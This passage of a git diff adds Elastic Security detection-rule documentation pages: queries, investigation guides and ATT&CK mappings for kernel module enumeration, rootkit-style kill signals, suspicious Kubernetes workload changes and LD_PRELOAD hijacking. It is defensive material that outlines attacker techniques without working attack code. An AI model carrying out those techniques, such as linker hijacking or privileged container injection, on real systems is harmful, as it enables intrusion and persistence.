incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update detection mechanisms and rules to enhance monitoring for similar threats, ensuring that any future attempts are quickly identified and addressed. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. + +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and user.name:( + daemon or bin or sys or sync or games or man or mail or news or uucp or proxy or backup or list or irc + or gnats or _apt or Debian-exim or systemd-timesync or messagebus or uuidd or _chrony or sshd or + gamer or shutdown or halt or dbus or polkitd or rtkit or pipewire or tcpdump or clevis or + libstoreagemgmt or geoclue or tss or sssd or gnome-initial-setup or pesign or dnsmasq or chrony +) and process.interactive:true and process.parent.executable:* and not ( + process.parent.name:( + apt-key or apt-config or gpgv or gpgconf or man-db.postinst or sendmail or rpm or nullmailer-inject + ) or + process.args:(/etc/apt/trusted.gpg.d/* or /tmp/apt-key-gpg* or "/usr/bin/dnf") or + process.name:(awk or apt-config or dpkg or grep or gpgv or sed) or + (user.name:_apt and process.name:(sqv or apt-key or gpgconf or sort or mktemp or find or cmp or gpg-connect-agent)) or + (user.name:man and process.name:mandb) or + (user.name:daemon and process.name:at) or + process.parent.args:("/usr/bin/apt-key" or "/var/lib/dpkg/info/man-db.postinst") or + process.parent.executable:( + "/usr/lib/polkit-1/polkitd" or "./runc" or "/usr/bin/apt-get" or "/opt/gitlab/embedded/bin/bundle" or "/run/podman-init" or + /tmp/newroot/* or /var/lib/docker/overlay2/* or /usr/libexec/platform-python* + ) or + process.parent.command_line:"runc init" or + process.executable:( + "/opt/gitlab/embedded/bin/bundle" or "/usr/bin/env" or "/usr/bin/readlink" or "/usr/bin/date" or "/usr/bin/dircolors" or + "/usr/sbin/sendmail" or "/usr/bin/atrm" or "/usr/bin/atq" or "/run/podman-init" or "/usr/bin/basename" or "/usr/bin/locale" or + "/usr/bin/tr" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kernel-module-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kernel-module-enumeration.asciidoc new file mode 100644 index 0000000000..490d26ff36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kernel-module-enumeration.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-unusual-kernel-module-enumeration]] +=== Unusual Kernel Module Enumeration + +Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. This identifies attempts to enumerate information about a kernel module. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Kernel Module Enumeration* + + +Loadable Kernel Modules (LKMs) enhance a Linux kernel's capabilities dynamically, without requiring a system reboot. Adversaries may exploit this by enumerating kernel modules to gather system information or identify vulnerabilities. The detection rule identifies suspicious enumeration activities by monitoring specific processes and arguments associated with module listing commands, while excluding benign parent processes to reduce false positives. + + +*Possible investigation steps* + + +- Review the process details in the alert to identify the specific command used for kernel module enumeration, such as lsmod, modinfo, kmod with list argument, or depmod with --all or -a arguments. +- Examine the process parent name to ensure it is not one of the benign processes listed in the exclusion criteria, such as mkinitramfs, dracut, or systemd, which could indicate a false positive. +- Investigate the user account associated with the process to determine if the activity aligns with expected behavior or if it might indicate unauthorized access. +- Check the timing and frequency of the enumeration activity to assess whether it is part of routine system operations or an anomaly that warrants further investigation. +- Correlate the alert with other security events or logs from the same host to identify any additional suspicious activities or patterns that could suggest a broader attack or compromise. + + +*False positive analysis* + + +- System maintenance tools like mkinitramfs and dracut may trigger the rule during legitimate operations. To handle this, ensure these processes are included in the exclusion list to prevent unnecessary alerts. +- Backup and recovery processes such as rear and casper can cause false positives when they interact with kernel modules. Verify these processes are part of the exclusion criteria to avoid misidentification. +- Disk management and storage tools like lvm2 and mdadm might enumerate kernel modules as part of their normal function. Add these to the exclusion list to reduce false positives. +- Virtualization and container management tools such as vz-start and overlayroot may also enumerate modules. Confirm these are excluded to maintain focus on genuine threats. +- Kernel update and management utilities like dkms and kernel-install can trigger alerts during updates. Ensure these are accounted for in the exclusion list to minimize false alarms. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving unauthorized use of lsmod, modinfo, kmod, or depmod commands. +- Conduct a thorough review of recent system logs and process execution history to identify any unauthorized access or changes made to the system. +- Restore the system from a known good backup if any unauthorized modifications to kernel modules or system files are detected. +- Update and patch the system to the latest security standards to mitigate any known vulnerabilities that could be exploited through kernel modules. +- Implement stricter access controls and monitoring for kernel module management, ensuring only authorized personnel can load or unload modules. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and ( + (process.name:(lsmod or modinfo)) or + (process.name:kmod and process.args:list) or + (process.name:depmod and process.args:(--all or -a)) +) and +not ( + process.parent.name:( + mkinitramfs or cryptroot or framebuffer or dracut or jem or thin-provisioning-tools or readykernel or lvm2 or + vz-start or iscsi or mdadm or ovalprobes or bcache or plymouth or dkms or overlayroot or weak-modules or zfs or + systemd or whoopsie-upload-all or kdumpctl or apport-gtk or casper or rear or kernel-install or newrelic-infra + ) or + process.parent.executable:( + /var/lib/dpkg/info/linux-modules*-generic.post* or "/var/ossec/bin/wazuh-modulesd" or "/opt/gitlab/embedded/bin/ruby" or + "/usr/share/initramfs-tools/hooks/thermal" or "/usr/libexec/iptables/iptables.init" or "/usr/sbin/mkinitramfs" or + "/usr/share/initramfs-tools/hooks/cryptroot" or "/usr/bin/kdumpctl" + ) or + process.parent.args:(/var/lib/dpkg/info/* or /var/tmp/rpm-tmp* or "longhorn-manager" or "/usr/bin/entry") or + process.entry_leader.executable:( + "/usr/lib/apt/apt.systemd.daily" or "/usr/libexec/gnome-terminal-server" or "/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kill-signal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kill-signal.asciidoc new file mode 100644 index 0000000000..cacb58d630 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kill-signal.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-unusual-kill-signal]] +=== Unusual Kill Signal + +This rule detects the use of unusual kill signals, specifically kill signals in the range of 32-64, which are not commonly used in standard operations. Rootkits may leverage these signals to conduct certain actions, such as manipulating processes in unexpected ways, potentially escalating privileges or evading detection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/m0nad/Diamorphine/blob/master/diamorphine.c#L302 +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Kill Signal* + + +In Linux environments, kill signals are used to manage process lifecycles. Signals in the range of 32-64 are less common and can be exploited by adversaries, such as rootkits, to manipulate processes stealthily, potentially leading to privilege escalation or evasion of security measures. The 'Unusual Kill Signal' detection rule identifies these rare signals, flagging potential misuse by monitoring specific syscall activities, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the process details associated with the alert, focusing on the process name, PID, and parent process to understand the context of the kill signal usage. +- Examine the user account under which the process was executed to determine if it aligns with expected behavior or if it indicates potential unauthorized access. +- Investigate the command line arguments and environment variables of the process to identify any suspicious or unusual commands that may suggest malicious activity. +- Check the system logs around the time of the alert for any related events or anomalies that could provide additional context or indicate a broader attack pattern. +- Correlate the alert with other security events or alerts from the same host to identify if this is part of a larger attack or if there are other indicators of compromise. +- Assess the network activity of the host to identify any unusual outbound connections that could suggest data exfiltration or communication with a command and control server. + + +*False positive analysis* + + +- Legitimate applications or services may use signals in the 32-64 range for custom inter-process communication, leading to false positives. Identify these applications and create exceptions for their specific processes. +- Some system monitoring or management tools might utilize these signals for legitimate process management tasks. Review the tools in use and whitelist their activities if they are verified as non-threatening. +- Development environments or testing frameworks might employ unusual signals for debugging or testing purposes. Ensure these environments are properly isolated and exclude their activities from triggering alerts. +- Custom scripts or automation tasks could be configured to use these signals for specific operations. Audit these scripts and, if deemed safe, add them to an exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified with unusual kill signals in the range of 32-64 to halt any ongoing malicious activity. +- Conduct a thorough forensic analysis of the affected system to identify any rootkits or malicious software that may have been installed, focusing on the processes and files associated with the unusual kill signals. +- Restore the system from a known good backup if rootkit presence is confirmed, ensuring that the backup is free from any compromise. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Implement enhanced monitoring and logging for unusual kill signals and related activities to detect any future attempts at similar attacks. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to assess the need for broader organizational response measures. + + +==== Setup + + + +*Setup* + + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-a always,exit -F arch=b64 -S kill +``` +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.action == "killed-pid" and auditd.data.syscall == "kill" and +auditd.data.a1 in ( + "21", "22", "23", "24", "25", "26", "27", "28", "29", "2a", "2b", "2c", "2d", "2e", "2f", "30", + "31", "32", "33", "34", "35", "36", "37", "38", "39", "3a", "3b", "3c", "3d", "3e", "3f", "40", + "41", "42", "43", "44", "45", "46", "47" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kubernetes-sensitive-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kubernetes-sensitive-workload-modification.asciidoc new file mode 100644 index 0000000000..34860c937b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-kubernetes-sensitive-workload-modification.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-unusual-kubernetes-sensitive-workload-modification]] +=== Unusual Kubernetes Sensitive Workload Modification + +Detects the creation or modification of several sensitive workloads, such as DaemonSets, Deployments, or CronJobs, by an unusual user agent, source IP and username, which may indicate privilege escalation or unauthorized access within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control +* https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Kubernetes Sensitive Workload Modification* + + +This rule detects allowed create or patch activity against sensitive Kubernetes workloads (DaemonSets, Deployments, CronJobs) coming from an unusual combination of client, network origin, and user identity, which can signal stolen credentials, privilege escalation, or unauthorized control of cluster execution. Attackers commonly patch an existing Deployment to inject a new container or init container that runs with elevated privileges and pulls a remote payload, then rely on the workload controller to redeploy it across the environment. + + +*Possible investigation steps* + + +- Retrieve the full audit event for the change and compare it to the most recent prior modification of the same workload to identify what was altered (e.g., image, command/args, env/secret refs, volumes, serviceAccount, securityContext, hostPath/hostNetwork, privileged settings). +- Attribute the action to a real identity by tracing the Kubernetes user to its backing cloud/IAM identity or kubeconfig/cert and validate whether the access path (SSO, token, service account, CI/CD runner) and source network location are expected for that operator. +- Determine blast radius by listing other recent creates/patches by the same identity and from the same origin across namespaces, and check for follow-on actions such as creating RBAC bindings, secrets, or additional controllers. +- Inspect the affected workload’s rollout status and pod specs to confirm whether new pods were created, then review container images, pull registries, and runtime behavior for indicators of compromise (unexpected network egress, crypto-mining, credential access, or exec activity). +- Validate the change against an approved deployment workflow by correlating with GitOps/CI commit history and change tickets, and if unapproved, contain by scaling down/rolling back the workload and revoking the credential or token used. + + +*False positive analysis* + + +- A legitimate on-call engineer performs an emergency `kubectl` create/patch to a Deployment/CronJob/DaemonSet from a new workstation, VPN egress IP, or updated kubectl version, producing an unusual user_agent/source IP/username combination despite being authorized. +- A routine automation path changes (e.g., CI runner or service account rotated/migrated to a new node pool or network segment) and continues applying standard workload updates, causing the same create/patch activity to appear anomalous due to the new origin and client identity. + + +*Response and remediation* + + +- Immediately pause impact by scaling the modified Deployment/CronJob to zero or deleting the new DaemonSet and stopping any active rollout while preserving the altered manifest for evidence. +- Roll back the workload to the last known-good version from GitOps/CI or prior ReplicaSet/Job template, then redeploy only after verifying container images, init containers, commands, serviceAccount, and privileged/host settings match the approved baseline. +- Revoke and rotate the credential used for the change (user token/cert or service account token), invalidate related kubeconfigs, and review/remove any newly created RBAC bindings, secrets, or service accounts tied to the same actor. +- Quarantine affected nodes and pods for analysis by cordoning/draining nodes that ran the new pods and collecting pod logs, container filesystem snapshots, and network egress details to identify payloads and persistence. +- Escalate to the incident response/on-call security team immediately if the change introduced privileged containers, hostPath mounts, hostNetwork, new external images/registries, or any unexpected DaemonSet creation across multiple nodes. +- Harden by enforcing admission controls to restrict privileged settings and sensitive namespaces, requiring changes via approved automation identities, and tightening RBAC so only designated deployment controllers can create/patch DaemonSets, Deployments, and CronJobs. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and user_agent.original:* and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:("daemonsets" or "deployments" or "cronjobs") and +kubernetes.audit.verb:("create" or "patch") and +not kubernetes.audit.user.groups:"system:masters" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc new file mode 100644 index 0000000000..1fe95b9e9a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-unusual-ld-preload-ld-library-path-command-line-arguments]] +=== Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments + +This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments* + + +LD_PRELOAD and LD_LIBRARY_PATH are environment variables in Linux that influence dynamic linking by specifying libraries to load before others. Adversaries exploit these to hijack execution flow, evade defenses, or escalate privileges. The detection rule identifies suspicious use of these variables in shell commands, excluding benign processes, signaling potential misuse for persistence or defense evasion. + + +*Possible investigation steps* + + +- Review the process command line to identify the specific libraries being loaded via LD_PRELOAD or LD_LIBRARY_PATH and assess their legitimacy. +- Examine the parent process name to determine if the process is expected to use these environment variables, considering the exclusion list provided in the query. +- Investigate the user account associated with the process to check for any signs of compromise or unusual activity. +- Analyze the process execution context, including the timestamp and host details, to identify any patterns or correlations with other suspicious activities. +- Check system logs and other security tools for related alerts or events that might indicate broader malicious activity or attempts to evade defenses. + + +*False positive analysis* + + +- Development and testing environments often use LD_PRELOAD and LD_LIBRARY_PATH for legitimate purposes such as testing new libraries or debugging. Consider excluding processes associated with these environments if they are known and trusted. +- Some software installations or updates may temporarily use these environment variables to ensure compatibility or to load specific libraries. Monitor installation logs and exclude these processes if they are verified as part of legitimate software management. +- System administration scripts or automation tools might use these variables to manage library paths dynamically. Review and whitelist these scripts if they are part of routine maintenance and have been vetted for security. +- Certain applications, like custom-built software or legacy systems, may rely on these variables for normal operation. Document these applications and exclude them from the rule if they are essential and secure. +- Security tools or monitoring agents might use these variables to hook into processes for legitimate monitoring purposes. Verify the behavior of these tools and exclude them if they are part of your security infrastructure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes identified with unusual LD_PRELOAD or LD_LIBRARY_PATH usage to halt potential exploitation. +- Conduct a thorough review of the affected system's environment variables and remove any unauthorized or suspicious entries. +- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement stricter access controls and monitoring on the affected system to prevent unauthorized changes to environment variables. +- Update and enhance detection rules to include additional indicators of compromise related to LD_PRELOAD and LD_LIBRARY_PATH misuse, ensuring future attempts are identified promptly. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and +process.parent.name:(* and not ( + awk or bwrap or cylancesvc or dbus-run-session or java or julia or make or matlab_helper or ninja or noproc_sandbox or + nxrunner or nxserver or perl or rear or sapcontrol or setsid or spoold or sshd or steam or su or sudo or titanagent or + vls_agent or zabbix_agentd +)) and +not process.parent.executable:( + /tmp/CVU_19_resource*/exectask or /u01/app/oracle/*oracle/CVU_19_oracle*/exectask or "/opt/ds_agent/ds_agent" or + "/opt/McAfee/agent/scripts/ma" or "/usr/local/bin/AppProtection/BootTimeChecker" or "/usr/bin/gmake" or "./runc" or + "/usr/openv/db/bin/nbdb_unload" +) and +not process.parent.args:"/opt/McAfee/agent/scripts/ma" and +process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and +process.args:-c and process.command_line:(*LD_LIBRARY_PATH=* or *LD_PRELOAD=*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: 